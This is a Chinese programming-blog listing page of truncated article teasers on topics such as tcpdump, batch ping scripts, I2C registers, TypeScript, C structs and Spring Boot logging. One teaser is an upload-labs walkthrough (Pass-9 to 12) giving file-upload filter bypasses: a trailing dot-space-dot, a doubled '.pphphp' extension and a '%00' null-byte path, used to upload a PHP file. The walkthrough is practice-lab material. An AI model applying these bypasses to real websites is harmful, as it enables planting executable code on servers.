一、引言 官网:Manus 随着人工智能技术的飞速发展,AI Agent(智能体)作为人工智能领域的重要分支,正逐渐从概念走向现实,并在各行各业展现出巨大的应用潜力。在众多AI Agent产品中,Manus以其独…...
批量测试IP和域名联通性
最近需要测试IP和域名的联通性,因数量很多,单个ping占用时间较长。考虑使用Python和Bat解决。考虑到依托的环境,Bat可以在Windows直接运行。所以直接Bat处理。 方法1 echo off for /f %%i in (E:\封禁IP\ipall.txt) do (ping %%i -n 1 &…...
网络安全之tcpdump工具
引言 wireshark是一款非常不错的抓包软件,在图形化界面占绝对统治地位;尽管其在字符界面下有些许选项可供使用,但终究不太方便,下面我再介绍一款NB的终端抓包工具 tcpdump 1、混杂模式 linux的网卡有混杂模式一说,当开…...
TMS320F28P550SJ9学习笔记8:I2C通信的结构体寄存器配置的了解
继续学习IIC通信的寄存器配置方式:尝试使用寄存器方式配置了解I2C a 没条件完整测试IIC功能,具体的修改与测试留在下文,这里只贴出全部代码,就不提供工程了 文章提供测试代码讲解、完整工程下载、测试效果图 目录 IIC通信引脚&a…...
TypeScript类:面向对象编程的基石
一、从现实世界到代码世界 想象你要建造一栋房子,首先需要一张设计蓝图——它定义了房屋的结构(几个房间)、功能(卧室/厨房)和特性(材料/颜色)。在TypeScript中,class就是这个设计蓝…...
C语言学习笔记-进阶(10)自定义类型:结构体
1. 结构体类型的声明 前面我们在学习操作符的时候,已经学习了结构体的知识,这里稍微复习一下。 1.1 结构体回顾 结构是⼀些值的集合,这些值称为成员变量。结构的每个成员可以是不同类型的变量。 1.1.1 结构体的声明 struct tag {member-…...
Java 大视界 -- Java 大数据在智能家居能源管理与节能优化中的应用(120)
💖亲爱的朋友们,热烈欢迎来到 青云交的博客!能与诸位在此相逢,我倍感荣幸。在这飞速更迭的时代,我们都渴望一方心灵净土,而 我的博客 正是这样温暖的所在。这里为你呈上趣味与实用兼具的知识,也…...
upload-labs-master通关攻略(9~12)
Pass-9 建立1.php <?php phpinfo();?> 上传时抓包 修改代码 在1.php后面加点号空格点号 放行后得到 Pass-10 将1.php放入 上传时抓包 修改代码 将1.php改为1.pphphp 上传后得到 Pass-11 将1.php改为1.png 上传时抓包 修改代码 ../upload/2.php%00 放行后得到 Pass…...
python语言总结(持续更新)
本文主要是总结各函数,简单的函数不会给予示例,如果在平日遇到一些新类型将会添加 基础知识 输入与输出 print([要输出的内容])输出函数 input([提示内容]如果输入提示内容会在交互界面显示,用以提示用户)输入函数 注释 # 单行注释符&…...
UI自动化测试 —— web端元素获取元素等待实践!
前言 Web UI自动化测试是一种软件测试方法,通过模拟用户行为,自动执行Web界面的各种操作,并验证操作结果是否符合预期,从而提高测试效率和准确性。 目的: 确保Web应用程序的界面在不同环境(如不同浏览器、操作系统)下…...
【CXX】6.6 UniquePtr<T> — std::unique_ptr<T>
std::unique_ptr 的 Rust 绑定称为 UniquePtr。有关 Rust API 的文档,请参见链接。 限制: 目前仅支持 std::unique_ptr<T, std::default_delete>。未来可能会支持自定义删除器。 UniquePtr 不支持 T 为不透明的 Rust 类型。对于在语言边界传递不…...
【网络协议安全】任务10:三层交换机配置
CSDN 原创主页:不羁https://blog.csdn.net/2303_76492156?typeblog三层交换机是指在OSI(开放系统互连)模型中的第三层网络层提供路由功能的交换机。它不仅具备二层交换机的交换功能,还能实现路由功能,提供更为灵活的网…...
C语言每日一练——day_4
引言 针对初学者,每日练习几个题,快速上手C语言。第四天。(连续更新中) 采用在线OJ的形式 什么是在线OJ? 在线判题系统(英语:Online Judge,缩写OJ)是一种在编程竞赛中用…...
文件系统调用(上) ─── linux第17课
目录 linux 中man 2和man 3的区别 文件内容介绍 C语言文件接口 示例: 输出信息到显示器,你有哪些方法 总结: 系统文件I/O 文件类的系统调用接口介绍 示例 open 函数具体使用哪个,和具体应用场景相关, write read close lseek ,类比C文件相关接…...
在 Spring Boot 中实现基于 TraceId 的日志链路追踪
1 前言 1.1 什么是 TraceId? TraceId 是一个唯一的标识符,用于跟踪分布式系统中的请求。每个请求从客户端发起到服务端处理,再到可能的多个微服务调用,都会携带这个 TraceId,以便在整个请求链路中进行追踪和调试。 1.2 日志链路追踪的意义 日志链路追踪可以帮助开发者…...